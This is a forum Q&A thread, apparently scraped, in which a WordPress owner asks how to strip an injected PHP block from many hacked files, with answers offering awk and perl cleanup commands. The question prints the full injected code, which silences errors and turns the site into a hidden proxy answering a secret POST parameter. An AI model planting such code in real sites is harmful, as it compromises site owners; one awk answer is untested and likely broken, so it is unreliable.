What's the appropriate grep + sed syntax?
I had two wordpress installs where a hacker tried to inject some php code into the existing php files
Nothing serious, but now I have to remove about 20 lines of text from about 200 text files across a number of sub-directories, and just not good enough with grep & sed to figure it out...
What is the syntax of the command to search the folder "hacked wordpress" for all the *.php files (including subdirectories) that contain the following text snippet and then delete the snippet?
<?php
//{{56541616
GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function StrToNum($Str, $Check, $Magic)
{
$Int32Unit = 4294967296;
$length = strlen($Str);
for ($i = 0; $i < $length; $i++) {
$Check *= $Magic;
if ($Check >= $Int32Unit) {
$Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
$Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
}
$Check += ord($Str{$i});
}
return $Check;
}
function HashURL($String)
{
$Check1 = StrToNum($String, 0x1505, 0x21);
$Check2 = StrToNum($String, 0, 0x1003F);
$Check1 >>= 2;
$Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
$Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
$Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);
$T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
$T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($C开发者_高级运维heck2 & 0xF0F0000 );
return ($T1 | $T2);
}
function CheckHash($Hashnum)
{
$CheckByte = 0;
$Flag = 0;
$HashStr = sprintf('%u', $Hashnum) ;
$length = strlen($HashStr);
for ($i = $length-1; $i >= 0; $i--) {
$Re = $HashStr{$i};
if (1 === ($Flag % 2)) {
$Re += $Re;
$Re = (int)($Re / 10) + ($Re % 10);
}
$CheckByte += $Re;
$Flag ++;
}
$CheckByte %= 10;
if (0 !== $CheckByte) {
$CheckByte = 10 - $CheckByte;
if (1 === ($Flag % 2) ) {
if (1 === ($CheckByte % 2)) {
$CheckByte += 9;
}
$CheckByte >>= 1;
}
}
return '7'.$CheckByte.$HashStr;
}
function getpr($url)
{
$ch = CheckHash(HashURL($url));
$file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
$data = file_get_contents($file);
$pos = strpos($data, "Rank_");
if($pos === false){return -1;} else{
$pr=substr($data, $pos + 9);
$pr=trim($pr);
$pr=str_replace("
",'',$pr);
return $pr;
}
}
if(isset($_POST['xxxprch']))
{
echo getpr($_POST['xxxprch']);
exit();
}
error_reporting($olderrxxx);
}
//}}18420732
?>
I wouldn't use sed and grep for that - both operate on lines only and can't remember what came before. I usually use awk. It's the thing that most awk tutorials start with after the very basics. Basically, you create three match blocks, one that matches the opening, one that matches the closing and one that matches the rest. In the "opening" and "closing" you either set or reset a boolean to keep track of whether to print the current line. In the handling of the rest of the lines you either print or do not print depending on this boolean.
Also, do remember to back up your files before running it. You wouldn't be the first to get caught off-guard by a typo.
/startsequence/ { ignoring=true; } /endsequence/ { ignoring=false; } { if (!ignoring) print }
Replace startsequence and endsequence by your own valid start & end sequence. If those numbers are actually consistently present, use those. I haven't checked this (as I'm on a cygwin-less Windows machine now) but do think it works. Inspired by the example here edit: example added
i did not test this .but the idea is correct i hope:
find ./hacked wordpress -name "*.php"|xargs awk '/^<?php/NP=1,/?>$/NP=0{if(NP=0) print}'
I have the same problem, and still looking for a fix.
Have a look at this:
http://crystaldawn.net/fix_hack and more info here: http://frazierit.com/blog/?p=103 and here too: How to call php script using html form elements instead of command line?
The clean up script is not perfect and seems to remove some stuff it shouldn't. I don't have the skills to refine it. It would be awesome if someone could fix it up!
use perl;
find "hacked wordpress" -iname \*.php -print |\
xargs perl -0777 -i -pe 's:\s*<\?php\s*//\{\{56541616.*?//\}\}18420732\s*\?>\s*::s;'
This should remove the whole snippet from each .php file.
DRY RUN FIRST - so test in on temporary copy.
精彩评论